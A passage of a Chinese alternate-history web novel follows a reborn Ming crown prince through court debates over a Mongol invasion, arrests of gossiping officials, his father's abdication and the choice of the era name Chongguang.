而且尚铭充分发扬了自己贪财狠毒‘反复无常’的本色,谁给他送礼最多,谁就是最看不起他的然后百分百被精准抄家。 但是吧,不给他送礼,也会被惦记所以被抄家的商贾简直恨死他了。 但朱见深、万贞儿外加一个朱佑棱看着隔一段时间就一车车运来的金银财宝,简直不要太感叹。 这抄家的手段,真的锻炼出来了。 就连文武大臣,特别是户部的官员,面对这一切,都目瞪口呆。觉得江南不愧是富饶之地,怪不得大家都向往在江南做官。 现在的大明官员还不是明后期的东林党,搞起斗争连根本不顾朝廷百姓的利益,甚至连出卖国家投靠鞑子的事儿,都做得格外的得心应手。现在的大明官员普遍都有良心,特别是内阁成员,不管能力多寡,但都是有能力的。 万安这位内阁成员,能力相较其他内阁大臣来说,是要次一等。但他说话好听,且能很好的揣摩上意啊! 朱见深和朱佑棱想干的事儿,万安一律支持,只要吩咐下来的事情,也是老老实实完成,不会打折扣。 就这样,时光在不疾不徐中流逝。 成化十四年的秋天,似乎比往年更加平静。 西北的鞑靼消停了一些,西南的苗乱也早已平,东南的海疆在朝廷重申海禁和加强巡逻后,表面也恢复了秩序。朝堂上,大臣们开始为了一些漕运改道、科举名额之类的常规事务,争论不休。 这一日,秋高气爽,朱佑棱在御花园中散步,恰好遇到前来请安的弟弟,年仅六岁的朱祐樘。 小祐樘被乳母牵着,见到兄长,怯生生地行礼。 朱佑棱看着这个同父异母、生母地位低微的弟弟,心中并无多少亲近,但也无甚恶感。 他蹲下身,摸了摸弟弟的头,温言问了几句饮食起居,便让乳母带他离开了。 朱佑樘走得挺依依不舍的,几次回头看他。然后看着朱佑樘恋恋不舍的眼神,朱祐棱内心却毫无波澜。 至于抢了历史上朱佑樘的位置会不会有愧疚之情。 拜托,他的身份地位注定了他只要顺利长大,就是妥妥的大明下一任皇帝,怎么能说他抢了朱佑樘皇帝的身份? 再者 朱佑樘真的不适合做皇帝。或者说,耳根子软的人,都不适合做上位者。 朱佑樘做皇帝后,名声比朱见深好很多。但要说皇帝当得好,却不尽然,只胜在他听官员,特别是文官的话。 古代舆论是被抓在读书人手中的。特别能当官的文人,那一个个的文采都挺不错。 甚至于他们都把死谏当做了 ‘名流千古’的好方法,动不动就来一招死谏。 当然,现在不行。 敢死谏,就敢扣威逼圣上的帽子,连累手足妻儿。 “哎!现在好了,以后啊,等老三长大了,他可以跟他的伏弟魔妻子尽情的一世一双人,至于孤” 朱佑棱自然也没有当种马,广开后宫的想法。只不过他的太子妃需要精挑细选,能当得起责任,纵然这样一世一双人又何妨。 秋日的阳光透过树叶,洒下斑驳的光影。朱佑棱站在光影中,身形尚显单薄,但脊背挺直,眼神坚定。 他下意识的看向西北方位,寒风乍起。去年的时候,西北边关的狼烟,再次不合时宜地升腾而起。这一回,跳梁的主角换成了亦思马因。(明朝史料中对蒙古伊斯玛仪部的称呼,时为蒙古鞑靼部重要首领之一)。 早在成化十二年的时候,亦思马因所部就曾试探性地侵扰过宣府、大同外围。 在明军的严密防备和坚决反击下,未能得逞,退回了草原深处。然而,这个成化十三年的冬天,十分的冷。草原更是遭遇了罕见的白灾(暴风雪)。 在白灾的阴影笼罩下,牲畜大量死亡,部落生计艰难。为了掠夺过冬物资,并转移内部矛盾,亦思马在成化十四年开春后,再次纠集部众,联合其他几个在白灾中受到重创的蒙古部落,号称数万骑,大举南下,兵锋直指大同右卫(今山西右玉)及周边地区。 当然了,所谓的数万骑,不过是夸张的说法,实际兵力可能在一两万左右。 但不能否认的是,蒙古在骑射方面是占据优势的。来势凶猛,一开始占据了优势。 好在经过边关将士的不懈努力,将气焰嚣张的亦思马因打了回去。然鹅在秋季来临之际,亦思马因连同蒙古其他部又来了。 这回更加来势汹汹,骑兵人数根据目测,还真就凑齐了5万左右。 顿时边关告急,警报以八百里加急的速度传至京师。 本来这时候,朱见深已经在计划禅位了,边关告急的警报一传来,朱见深整个人都不好了。 “看来今年年景的确不好。”朱佑棱感叹。“父皇要不,就明年再禅位?” “朕不。” 朱见深的倔脾气顿时被激发出来。 “朕要禅位,你们谁都不许劝。”朱见深只差拍桌子。但他想多了,还真就没什么人劝他。 朱佑棱就不想劝他。 “还是先处理鞑子扰边关的事儿吧。”朱佑棱正色道。 “山西的乱子刚平息不久,江南的事情悬而未决,西南才安稳了几天,北边这些鞑子又不消停!”朱见深怒火中烧的道。“天杀鞑子,这是欺我大明这段时间内患重重呢!” “亦思马因狼子野心,去年受挫,今春复来,的确欺我大明!父皇不若速发将士,痛加剿除,以靖边患!” 默了默,朱佑棱又补充一句。“正好这段时间发了一笔大财,就全部充当军饷犒劳边关将士吧!” 朱见深:“” 很好!更讨厌蒙古鞑子了! 他通过‘正规渠道’弄来的小钱钱,还没有揣热乎呢,就被糟心的儿子一口许诺出去了。 “不行。”朱见深委屈的说。“拿你私库的充作军饷。” 朱佑棱:“父皇,儿臣私库的钱不多啊!” “反正朕的私库不能动。” 朱佑棱对朱见深的小气,有了深刻的认知。 没法说,更没法儿劝! 不就小气嘛,算了算了,作为大度的儿子,要好好的包容。 “父皇你要明白一点儿”声音洪亮的转而道。“自土木堡之变后,我大明对蒙古的策略虽以防御为主,但面对如此规模的入侵,不积极应战的话,有损国威。” 朱见深:“难道这事儿还得上朝讨论?” “对啊!不上朝讨论,父皇能单独决定?” 朱见深悻悻然的瞪了朱佑棱一眼,又道。“看来朕的确老了,该禅位了。” “父皇儿子说了,今年年景不好,你再忍忍。” “朕要去行宫。” “那你就去呗。”朱佑棱无所谓的道。“反正现在皇祖母也在宫里,你带着皇祖母去住,也是可以的。” 朱见深:“” 朱见深没有吭声了,大概是不想去了。哦,不对,去还是想去的,就是不想带上亲娘。 朱见深想到周太后最近霸占万贞儿的行为,就心情越发难受。 “朕朕,还是留在宫里吧!”朱见深叹气。“鹤归,你说朕该不该召唤六弟进宫呢!” “父皇想六皇叔了?”朱佑棱不走心的道。“想就召唤咯!” “不是朕想不想的问题,而是你皇祖母想不想的问题。”朱见深深沉的道。“朕觉得你皇祖母,肯定想她的亲亲小儿子了!” 朱佑棱:“” ——对,父皇你说的对,你真是举世无双的大孝子呢! 朱佑棱揉揉太阳穴,再次提醒:“父皇,我们现在是在讨论国家大事。严肃点,别偏题好吗!” 朱见深:“朕没有,鹤归你误会了。” 朱佑棱根本不相信,直接就让小太监去请几位内阁大臣来。其实在这个时候,朝中主战派的声音总是占据上风,尤其是武将集团和部分鹰派文臣。 而恰好,内阁大臣们基本都是鹰派文臣。剩下的文臣不是鹰派也不是鸽派,就属亲帝派。皇帝说什么就是什么。看似墙头草,实则将拍马屁做到了极致—— 作者有话说:晚上还有一更o(* ̄︶ ̄*)o 第99章 第099章 果不其然,内阁大…… 果不其然, 内阁大臣们来了后,首先就是作为兵部尚书的白圭开口强烈支持打。 户部尚书却面露难色。“白尚书,去年用兵陕西(指平定松潘及应对土鲁番),耗费钱粮甚巨, 国库尚未充盈。今春河北, 山东又有旱情, 漕运不畅, 若再兴大军, 粮饷何出?” “难道就任由鞑虏在我边境烧杀抢掠不成?” “就是。你这老儿真没气血, 鞑虏这是欺我大明无人。” “国库实在不充盈, 还得预留一部分, 好备赈灾之用。” “现在没灾。你这样说话, 是不是在诅咒老天爷迟早要降下天灾。” “去年难道没灾?” “有啊,所以我怀疑是你这老货诅咒的。” 诸位内阁大臣再次吵成一团,还进行了非人道的人身攻击。 朱见深、朱佑棱父子俩连阻止的欲望都没有,看戏看得十分的嗨。 过了一会儿,总算没吵架了, 但是大家都谁也不服谁。互相眼睛不是眼睛, 鼻子不是鼻子。 “那个打肯定是要打的。”朱见深强调道。“至于怎么打,朕连纸上谈兵都不会,就不瞎掺和了。” “但有一点, 朕不想反复强调,那就是打, 给朕狠狠地打。居然敢欺我大明无人,朕超级生气,必须得好好出这把邪火。” “听到没有?”朱佑棱笑着接嘴。“不止父皇生气,其实我也挺生气的。” “具体的章程, 现在一时半会儿看来讨论不出来,就明儿金銮殿上说。如果明儿再讨论不出来,那就别怪父皇独断乾坤了。” 诸位大臣这才没有吵,都心悦诚服的告辞离开。 又一日,恰好三日一小朝会。上朝时,朱见深事儿一说。顿时整个朝廷又吵了起来。 主要是主战派和主和派吵。主战派要求调集各地精锐,出塞迎击,一劳永逸。 主守派则强调财政困难,主张严守关隘,以坚壁清野疲敌,待其自退。 这两派吵得十分的欢快,然后就有中间派突然跳出来提议说,遣使斥责,并加强戒备,让边关将士按照实际小规模出击。 朱见深被吵得头疼,下意识地看向御座旁的朱佑棱。 朱佑棱回望,用眼神示意朱见深有话快说。 “够了。”朱见深揉了揉眉心,打断了争吵,“鞑虏犯边,岂能坐视不理。白圭,赵辅” “臣在!” “末将在!” “命你二人即刻会同户部工部,详议出兵方略及粮饷筹措之策。京营、宣大、延绥兵马,皆需整备待命。边关各镇,务必严守,不得有失。再令辽东、甘肃诸镇,加强戒备,以防鞑虏声东击西!” 朱见深最终做出了倾向主战,但要求详细筹划的决策,这也是在朱佑棱的影响下,他近年来处理边患的常见思路。既要打,又要考虑实际困难。 “臣等遵旨!” 退朝后,朱见深带着朱佑棱一起来到安喜宫,依然心事重重的样子。万贞儿亲自奉上参茶,温言宽慰:“深郎不必过于忧心。亦思马因不过跳梁小丑,去年既已败退,今年也必无功而返。臣妾觉得,关键还是在于如何选将,以及粮饷充足。” “贞姐说的是。”朱见深叹了口气,“只是这钱粮。年年打仗,年年要钱,朕这皇帝,当得真是” 他没有说下去,但眉宇间的愁绪清晰可见。 朱佑棱很想翻白眼,但忍了。 朱佑棱沉吟片刻,道:“父皇,儿臣近日阅览边报及户部旧档,有一愚见,或许可以略解燃眉之急。” 朱见深惊讶的扬眉:“哦?鹤归有何见解,快快道来。” “儿臣以为,此次应对亦思马因,可分‘急’‘缓’两步。”朱佑棱条理清晰地说道,“‘急’自然是立即调拨京通仓(京师和通州的国家粮仓)存粮,并令山西、河南等近边省份,紧急筹措一批粮草,先行运抵大同宣府前线,保障守军及可能出塞部队的短期用度,稳住阵脚。同时,可令兵部、工部,核查库存军械,特别是火器、箭矢,优先补充边关。” 朱见深点头:“那‘缓’呢,又是何种说法?” “‘缓’则在于后续。”朱佑棱继续道,“大军若真出塞远征,耗费巨大。国库一时之间,的确难以支应全部。儿臣观去年清理山西佛寺所得颇丰。可否从私库或国库中,先拨出一部分,作为军费启动。同时,仿效去年清查寺产之例,命户部会同都察院,对直隶、山东、河南等近畿富庶之地,尚未彻底清理的寺庙田产、寄庄(权贵隐田)进行一次紧急稽查?查得之财,可部分充作军资。此外,江南盐课、漕粮折银等,都可预支部分。” 他顿了顿,声音压低了些,又道:“还有东南海贸走私猖獗,其中获利巨万。若能以此为契机,再严令南直隶、浙江、福建等地加强海防巡查,对查获的走私货物,除违禁品外,其余可酌情罚没充公,或令其补缴巨额税款后发还,亦是一笔不小财源。儿臣觉得此举既可筹备军费,又能持续打击走私,整顿海防。” 朱见深:“” 听得那叫一个眼睛微亮,看向万贞儿。 “贞姐觉得鹤归提议如何?” 万贞儿沉吟道:“鹤归所虑周详。查寺产清寄庄这事继续,虽有阻力,但以军费为名,料谁也不敢阻扰。而江南走私罚没充公,虽是一法,但尚铭、陆炳等人在江南刮了一层地皮,只怕已经…但是没什么油水了。” 朱见深:“那抄家?” “抄谁的家?贪官污吏?”朱佑棱摇头,否决了朱见深的想法。还道。“现在战事起,不可有过大的举动。先记着,等以后有空了,再一一清算。” “就依鹤归先前所言,此事就让户部左侍郎李衍总领,东厂、锦衣卫协同,速办,至于粮饷,嗯,军饷好解决,至于粮草,通知崇王和吉王,让他们俩运粮北上。” “好的,儿子这就去做通知。” 朱佑棱很快便去忙了。他的建议,大部分都被朱见深采纳,并迅速转化为政令。 朝廷应对北疆危机的机器,高速运转起来。一面调兵遣将,一面筹粮筹款。 再次清查近畿寺产寄庄的行动,在“支援边关”的大义名分下,虽然仍遇到不少阻力,但推进速度比预想的要快。而针对江南走私的罚没令,则以更隐秘的方式下达,由东厂和南京守备太监秘密执行,一时间,东南沿海风声鹤唳,不少走私商人损失惨重,却也敢怒不敢言。 嗯,这就证明了,‘刮地皮’行为,并没有让江南走私的商人伤筋动骨。 这可不行,尚铭和陆炳顿时加重抄家的力度,很快又是一车车的金银财宝运往京城。 而在这样的情况下,居然有人不甘寂寞的找事儿了。 随着朱佑棱这位太子爷年岁渐长,表现日益出众,尤其是在山西和近期应对边患筹款中展现出的见识与能力,使得“国本”之争,在一些人的心中,重新泛起微澜。 虽然朱佑棱嫡长子的身份、皇帝万贞儿的宠爱,地位稳固得很,但并非没有傻逼暗地里蛐蛐。 特别一些恪守“礼法”的顽固派老臣,内心深处始终对万贞儿的出身和专宠有所非议,连带对‘子凭母贵’的朱佑棱,也存着一丝挑剔。 他们不敢公开质疑太子,但在一些细节上,开始隐隐强调‘嫡庶之别’、‘长幼有序’, 暗指作为太子,朱佑棱应更加勤学修身,以德服人,甚至隐隐流露出对其他年幼皇子如朱祐樘,也应“一视同仁”的言论。 更有少数与江南利益集团关联甚深,更因清查寺产等事利益受损的官员,将不满迁怒到‘屡出风头’的太子身上。 他们不敢直接攻击,便在一些非正式场合,散布“太子年少,宜多读书,少涉政务”,“外戚干政,非国家之福”(影射万贞儿)之类的流言蜚语,试图削弱太子的声望和影响力。 这些暗流,自然逃不过万贞儿和朱佑棱的耳目。 朱佑棱的反应,是直接无语,笑骂傻逼。而万贞儿,则是很生气,甚至面若寒霜的将一份西厂密报掷于案上。 “这些人,真是阴魂不散!北边打着仗,国库掏着钱,他们不想着为国分忧,倒有心思在这里搬弄是非。” 朱佑棱捡起密报看了看,神色平静:“娘亲息怒。不过是些宵小之辈的闲言碎语,伤不了儿臣分毫。他们越是如此,越显得心虚力怯。” “话虽如此,但也不可不防。”万贞儿冷声道,“这些人成事不足,败事却有余。鹤归,你如今参与政务渐多,更需谨言慎行,尤其在用人荐人上,要格外注意,莫要授人以柄。那些老顽固,最会拿‘结交外臣’、‘培植党羽’说事。” “儿臣明白,但是娘亲父皇那边是真的想禅位,只是真没遇到好日子罢了。” 朱佑棱是真的搞不懂他们的想法,也不想搞懂。主要嘿,瞧着吧,成化十四年一过,到成化十五年一开春,朱见深绝对憋不住又要说禅位的话。 “他们连禅位的事儿,都在父皇面前说不上话,现在又不过只敢说一些是事而非的话语。”朱佑棱转而宽慰万贞儿。“娘亲真厌烦,那就收拾他们好了,反正东西两厂和锦衣卫拿人,从来不需要怎么讲证据。何况咱们手中有证据。” 万贞儿:“为娘不出这口恶心,心情难好。” 万贞儿当即吩咐汪直,命西厂将背后蛐蛐的人全部抓起来丢进昭狱—— 作者有话说:更新o(* ̄︶ ̄*)o 第100章 第100章 万贞儿的怒气,不…… 万贞儿的怒气, 不是那么好平息的。而汪直不愧是万贞儿一手扶持出来的鹰犬爪牙,更听万贞儿的话。万贞儿一吩咐,汪直就百分之三百的玩命儿, 将暗中说嘴, 变相骂她的人都给抓了。一时间, 昭狱直接满员, 后续抓得人太多, 还借了大理寺的大牢。 朱佑棱倒是挺关注的, 主要想知道这些个老顽固, 明面上喜欢说道貌岸然的话语, 背地里如何的男盗女娼。 于是乎, 朱佑棱就得知了‘一枝梨花压海棠’的由来, 还知晓了三十孙子和二十继祖母的爱情故事。 以及某某某押妓,不小心劈叉反被押的事儿。 朱佑棱越听越觉得不可思议,到后面干脆就把西厂当做‘八卦绯闻’的来源,每天都乐不疲此的准时看西厂案宗。 时间就这样不知不觉过去,转眼成化十四年过去, 来到成化十五年。说真的, 成化十四年属于多事之秋的一年。 上半年先是江南走私猖绝,朝廷震怒之下,派尚铭等鹰犬去江南刮地皮。 之后北疆的战鼓余音犹在, 一连串狂暴的天灾,如同重锤, 又接连砸向本已疲惫不堪的大明疆土。 先是八月初,黄河泛滥,开封告急。接着西南地动,一日之内, 广西府连震七次!屋舍坍塌无数,山体崩裂,道路阻断。 紧接着,四川盐井卫(今盐源一带,地近云南),又发生了更强地震,卫城房舍大片倒塌,人畜死伤惨重,盐井多处损毁,硝烟(制火药原料)生产陷入停滞。 可以说上半年抄家所得,全部都‘赔’了出去,甚至朱见深还含泪将私库开了,贴补进去不少。 以至于成化十五年的春节,朱见深的心情都不是很好。 等到三月初八这日,朱见深迫不及待的就将皇位甩给朱佑棱,然后大手一挥,带着万贞儿一路南下,据说去亲亲皇弟朱见泽封地做客去了。 朱佑棱纯属被坑,而且被坑得不要不要的。为什么这么说呢,因为朱见深自以为三月初八这个日子十分的好,连钦天监的人都没有找,就自我感觉良好的不打招呼,单方面宣布自己已经禅位了,有问题找新君。 这不叫坑崽,又叫什么? 反正朱佑棱被坑得不要不要的。 索性文武百官对此,都早有预料,就挺自然的开始筹备朱佑棱的登基大典。 之后更是以国不可一日无君,更不可一日无后为由,让朱佑棱登基之后,尽快择后择妃。 朱佑棱:“” “太早了。”朱佑棱认真且严肃的拒绝。“朕还未及冠,大婚之于朕,不算好事儿。” 内阁大臣:“???” “陛下,你已经15了。”有大臣提醒道。 “那是虚岁。”朱佑棱哼了哼,根本不为所动的道。“换句话说,朕这个年龄,正是对女人不感兴趣的年龄。” 内阁大臣们:“” 面对朱佑棱固执,不止内阁大臣,估计就连普通的文武百官,都体会到了朱见深任性所带来的杀伤力。 而显然,他们大多数都没有直面过朱佑棱的任性。对于朱佑棱来说,自己的婚事,自己是有资格做主的。再者,如果满朝文武胆敢‘胡乱’给朱佑棱婚配,朱见深不会说什么,但是万贞儿绝对会千里昭昭从闽南那边杀来。 作为爱崽的亲娘,万贞儿怎么可能让崽儿面临被群臣逼迫的局面呢。所以嗯,大概,不对,是满朝文武都知晓万贞儿凶残的本性。 为了避免被万贞儿‘爱崽之心’的无差别攻击,所以在朱佑棱强烈表示自己最少要满18岁才考虑终身大事,且不打算纳妃只娶后,满朝文武居然没有就此发出强烈的抗议,只不轻不重的来了一句‘看圣上心情’,就什么话都没了。 对此,朱祐棱简直不要太惊讶。甚至还挺纳闷,跑去找同样被‘抛下’的周太后叽叽歪歪。 周太后:“” 周太后一阵冷笑,“你倒是和你父皇一样,是个痴情种。” 朱佑棱摇头,否决了周太后的话。“谁说的,其实孙儿对女色兵部看重。” “当初你那父皇,也说对女色不看重,只对万贞儿看重。可结果,不是又娶皇后又纳妃?” “那能怪谁呢!” 作为妈宝男,朱佑棱一贯是谁敢嫌弃万贞儿,就必定怼谁。 朱佑棱当即不客气的道。“也不知道哪位不要脸,仗着长辈的身份威压,导致母妃成不了皇后。也害得朕,连正儿八经的嫡子身份都没了。” 明晃晃的指责,只差说名字,当即就让周太后忍不住捂住胸口,虚弱无比的道。 “你什么意思。”周太后抬高音量不可思议的喊道。“哀家可是你的皇祖母,你跑来哀家面前阴阳怪气,真气着哀家,付得起责任。” “随便弄个暴毙就能付起责任。” 我屮艸芔茻! 这话太毒了! 周太好还真就白眼一翻,想当场表演个倒地昏厥。 可惜,还是身体太康健了,导致白眼翻了好几个,就是腰肢硬,不能倒地昏厥。 朱佑棱就笑:“行了皇祖母,别这样,你这样,孙儿真的会哈哈大笑一场。” “你没有笑?”周太后瞪了一眼厚脸皮的孙子,心情实在不算美妙。“哀家真是命苦,大儿子不孝顺,生的孙子更加不孝顺。” “二弟三弟孝顺,不如接他们来慈安宫住?” 周太后没有说好没有说不好,只是过了一会儿就道。“哀家要回闽南。” “哦!”朱佑棱了然的点头。“那孙儿让人护送皇祖母前往闽南?” 周太后这回倒是满意点头,还道。“皇帝有心了。” 朱佑棱:“没办法啊,谁让父皇想一出是一出,明明带着母后跑出去玩,偏偏还借口去看望六皇叔和七皇叔。” 说到这儿,朱佑棱还开始摇旗脑袋。“不知皇祖母是信还是不信,反正朕是不信父皇和母后往闽南跑了!” “哀家也不信。” 周太后强调说:“他们俩最有可能去苏杭。” 朱佑棱了然的点头,算是附和周太后。“苏杭风景不错,父皇禅位后,的确很有可能带着母后前往苏杭游玩。” “哼,他们倒是悠闲!” “皇祖母也可以这样悠闲。” “哀家跟你讲”周太后突然道。“你以后要娶皇后,记得找姓周的。” 朱佑棱:“” “听到没有?”周太后再次强调。“不管是姓孙的,还是姓孙的,都不准选,只能姓周。” 朱佑棱:“皇祖母是想皇祖母的娘家出一位皇后?” 周太后很干脆的承认了自己的意图,还道。“不可以?” “主要因着皇祖母的关系,朕对所谓的表姐表妹有阴影。”朱佑棱耸耸肩,一脸嫌弃的说。“既无颜又无才,这样的女子,除非朕眼瞎才会看上。” 顿了顿,瞄了一眼周太后貌似铁青的脸色,又补充一句。“即使眼瞎看上,朕也知会给个小小的才人身份。” “你给哀家滚蛋。”周太后咬牙切齿的骂道。“你就跟你父皇一样,生来专门克哀家的。” 周太后又嚎了起来。 “哀家怎么这么命苦啊!” 哭天抹地,中气十足,敢保证二十来岁的年轻小伙儿,都没有周太后的肺活量好。 朱佑棱掏了掏耳朵,快快乐乐回了太子东宫。如今他还没有搬去乾清宫,主要朱见深的东西太多,即便暂时性的放到安喜宫,也要一段时间才能彻底搬空,索性朱佑棱就先住在太子东宫,等乾清宫收拾出来后再说去住的话。 而且现在,朱佑棱很忙很忙。以前朱见深没有跑路,即便他已经协助处理政务了,但大多数的政务,朱见深还是要处理的。 可现在跑路了,好家伙,不管什么都要朱佑棱亲力亲为。而且朱佑棱有个臭毛病,那就是较真儿。 不管是公事,还是私事儿,朱佑棱都习惯较真。 朱佑棱回到太子东宫后不久,汪直就送来一大摞奏折。 朱佑棱:“哪天的?” “昨天的!”汪直回答,还道。“是紧急送来的,内阁大臣们都看了一遍,让奴婢拿来给圣上过目。” 朱佑棱没有说什么,直接拿了最上面一本奏折看了起来。 通篇三分之一歌功颂德,三分之一诉苦,三分之一简略说灾情。 朱佑棱:“这奏折写得,朕是该生气呢,还是该生气?” 汪直笑着奉承。“圣上刚刚登基,地方官员自然要歌功颂德一番。还请圣上不要太过在意,免得让宵小之辈得意。” “朕一般不在意这些的。” 朱佑棱将奏折摔到一旁,又拿起另外一本。 “但不一般的情况下,朕就超级在意这些。” 朱佑棱又把奏折摔到一旁,看样子有些生气。 汪直赶紧道:“圣上要不要吃点东西。” 朱佑棱摇头,“朕算了,乾清宫收拾出来没?” “还要等几日。”汪直小心翼翼的说。“不过圣上现在搬过去,也是可以的。” 朱佑棱:“等明天吧。朕现在要批改奏折,明儿,嗯,明儿还要上早朝。朕可真是,偏偏该死的鞑虏又来扰边。” 汪直:“奴婢愿自请前往辽东督军。” “亦思马因去年岁冬败北,今年开春,没来扰边,反倒是女真部族跑出来蹦跶。怎么?想着朕刚刚登基,和那宋钦宗一样好欺负不成。” 汪直这下子都不知道该说什么了,朱佑棱自比宋钦宗,自然朱见深就是那宋徽宗。 宋徽宗之所以退位给宋钦宗,可不就是因为金人南下的关系,自觉自己没能耐解决,就禅位给了宋钦宗。 然而宋钦宗比宋徽宗还要不堪,就这么水灵灵的两圣一同被掳,一起到了金国唱铁窗泪。 现在呢,朱见深是嫌烦了,所以像甩包袱一样,挺任性的将皇位甩给朱佑棱,就带着万贞儿‘离宫出走’。 朱见深如此,难保接到消息的异族会产生不切合实际的想法。 朱见深一点儿都不奇怪,甚至换位思考一下,有这样不靠谱的爹,难保儿子也不靠谱。 所以呢,趁此机会试探一下,如果真这样,那必定赚麻了! 朱佑棱接过茶盏,吃了一口茶水后,看向汪直道。“你想去辽东督军,那就去。朕只有一个要求,朕要趁着朕登基之时搞事的鞑虏,全部死得干干净净。” “奴婢领命!” “去吧!”朱佑棱微微颔首,突然又道。“对了,边关屯田事宜,你也要仔细关注,确保在粮草运送不及时的时候,边关将士在短时间内,能够自给自足。” 汪直领命,又诉了几句忠心,就告辞去准备前往辽东的事宜。 而朱佑棱之所以答应得那么容易,主要是朱佑棱想起来,成化十四年到成化十五年,也就是今年,辽东那边属于汪直的主场。 汪直在辽东还算有所建树,比一般宦官能干多了。正是想起这个,所以朱佑棱同意了汪直自请去辽东督军。 相较于文官某些时候不合时宜的仁慈,作为皇帝忠心不二的狗,宦官往往将皇帝的话奉为圣言,皇帝交代他们的事情,不说百分之百完成,最起码会百分之一百五,甚至两百完成。 朱佑棱是烦了关外的那群鞑虏,趁着国库还算充盈之际,将他们杀胆寒了,如此才能够多享受几年边关的和平。 “请求开通互市?” 朱佑棱看着手中的奏折,眼中闪过一丝诧异。 “这是谁提议的?”朱佑棱满是好奇的自言自语。“按照平时来说,是个好主意。但是朕想要关外的游牧民族缺衣少食,好削减他们一部分的战斗力。现在开通互市,关外的游牧民族能入关买东西。啧,真让朕好为难,又让朕下定决心,狠狠地杀一回关外鞑虏了。” 朱佑棱是很想效仿草原慈父李文忠的,甚至还想亲自上战场杀敌。前者还好说,后者嘛! 做梦! 今儿朱佑棱敢提出来,不用等明儿,当场就有人撞柱死谏。而且还不止一个,而是御史台的大夫们排队一般的挨个撞柱死谏。 本身朱佑棱是对名声没有要求的,差就差点儿,但是要是发生这样的情况,就不是名声差的问题。而是 MMP,超级憋屈! 朱佑棱吐槽完毕,又继续批改奏折。一大摞奏折,大概用时一个时辰,才终于搞定。 批阅完奏折,朱佑棱站起身来,伸懒腰活动了一下手腕。这时有宫人来问,可否需要摆膳。 “摆吧!” 今日的膳食除了炙烤鹿肉外,居然还有牛肉。 朱佑棱挺惊讶的,问起宫人,便从宫人口中得知,这是特意养的肉牛,也就半岁左右,肉质细腻,不管是煲汤还是做炖菜,都挺不错。 也就是这个时候,朱佑棱突然想起番茄牛腩这道菜。此时的番茄,和辣椒一样,被当做观赏植物种植。 没有大面积种植,但不少人知道能吃。 不过现在并非番茄的成熟期,大概要等到7月份左右,才能吃上番茄。朱佑棱也就遗憾的表示下次再次番茄炒蛋和番茄炖牛腩。 除了小炒黄牛肉,炙烤鹿肉外,还有盐熏土豆,南瓜汤以及红薯粥。朱佑棱挨个都尝了一遍,差不多就饱了。 而用完午膳,朱佑棱起来稍微在花园走了一圈,就去午歇。午歇没有睡多久,大概也就半个时辰左右,朱佑棱就起来,然后看书练字,就这么一下午的时间过去了。 然后接着用晚膳,晚膳过后休息,大概晚上9点左右,上床睡觉。再然后大约凌晨4点半左右,朱佑棱就被宫人叫醒。 之后简单用点粥水,5点正就坐龙撵前往金銮殿上早朝。 一般早朝会时间维持在一个时辰左右。不过大明官员们都很能吵,一般都耗时1个半时辰或者两个时辰以上。 翻译过来就是3个小时以上。 大部分官员来的时候,都会在轿子里用些糕点,之后等待皇帝间,御膳房的也会提供粥水。 朱佑棱很喜欢睡懒觉,但自从登基后,嘿,居然一次懒觉都没有睡过,哪怕朝会不是天天举行,而是三天一小朝会、五天一大朝会。朱佑棱依然没能睡懒觉,生物钟已经被调整为每天4点半左右必醒。 “朕很高兴,昨儿看的奏折,没有上疏说发生天灾的。可见今年年景必定不错。至少朕觉得,要比去年的年景好,诸位爱卿,你们说对吧!” 文武百官齐齐说是。 “不过辽东那边又出了点问题,朕已经让汪直以督军的身份,前往辽东看看什么情况。” 朱佑棱顿了顿,又道。“朕希望辽东关外的鞑虏,全部被清除掉。朕实在烦了他们一来又一年骚|扰边境的行为。” 兵部尚书白圭出列道。“鞑虏狼子野心,既然要打,那就狠狠地打,免得要不了多久,鞑虏又恢复过来,再来侵犯我大明边境。” 朱佑棱赞同的点头。“爱卿不妨多多和汪直联络,并随时注意辽东那边的时局,必要时多多运输粮草。” “遵命陛下。” 又说了一会儿其他的话,大约过了半个小时,没话说了后,朱佑棱就问:“诸位爱卿,还有何话要说!” 自然是没有的! 前头说了,相较属于多事之秋的成化十四年,成化十五年简直不要太平静。 前往苏杭一带的朱见深,也是同样的感叹。甚至再次深深的觉得,自己主动禅位,是正确的选择。 “不知礼部的官员拟好年号没有?”朱见深凑到万贞儿的身边,感叹的说。“不知道怎么回事,为夫觉得,年号该是弘治。” 万贞儿蓦然想起多年前的梦,梦里朱佑樘继位,定的年号就是弘治,还说什么‘弘治中兴’! 万贞儿倒不是不喜欢弘治的年号,而是 不知怎么回事,心里酸酸涩涩的,还要笑着对朱见深说:“说不得深郎猜着了,就是‘弘治’的年号。” 是的,就是弘治的年号。 朱佑棱登基没过多久,也就半个月吧,礼部便将拟定好的几个年号拿过来,让朱佑棱选。 弘治,昭宁,景曜,承安以及嘉瑞,崇光 朱佑棱看到这些寓意都挺不错的年号,先是中意弘治,随即又觉得崇光不错! 崇光——崇:尊崇、高大;光:光明、荣耀。寓意崇尚德政、荣耀天下。 至于其他的年号,寓意盛世光辉普照的景曜也不错,还有昭宁,寓意国运光明,天下安宁。 “选哪个呢!” 朱佑棱有点儿举棋不定,干脆就进行抓阄。没曾想抓到的,居然是崇光,便定下‘崇光’作为年号。 成化十五年,改称崇光元年。 不久知晓年号为‘崇光’的朱见深很是惊讶,“居然不是‘弘治’这个年号。” 万贞儿笑着道:“‘崇光’的寓意也不错。崇尚德政、荣耀天下,鹤归定然能做到。” 朱见深摇头失笑。“不一定,年号寓意都很好,但是就鹤归的脾气,大概德政的机会十分少。” 万贞儿:“那也不错,鹤归脾气虽不太好,但他有自己的原则,不会任性的按照自己的脾气来。” “的确如此。”朱见深感叹说。“为夫只是觉得,有此麒麟儿,当属贞姐给为夫带来的运气。” 万贞儿立马笑得灿烂,随即就和朱见深开启了新一轮的甜甜蜜蜜。不提两人在苏杭玩得如何的乐不思蜀。只说朱佑棱这边,确定好了年号后,朱佑棱就安排人,将周太后护送‘回’闽南。 朱见泽自从周太后回去京城后,那日子过得相当的滋润,毕竟没了亲娘在旁叽叽歪歪,这样不许那样不让。谁曾想呢,滋润的日子没过多久,又迎来了作精的亲娘。 朱见泽看到风尘仆仆依然不改刁钻本色的周太后,那是差点就‘嗷’的一声哭出来。 “皇帝侄儿啊,你比本王的皇兄还坑!呜呜,都逮着本王欺负是吧!”—— 作者有话说:更新o(* ̄︶ ̄*)o《 》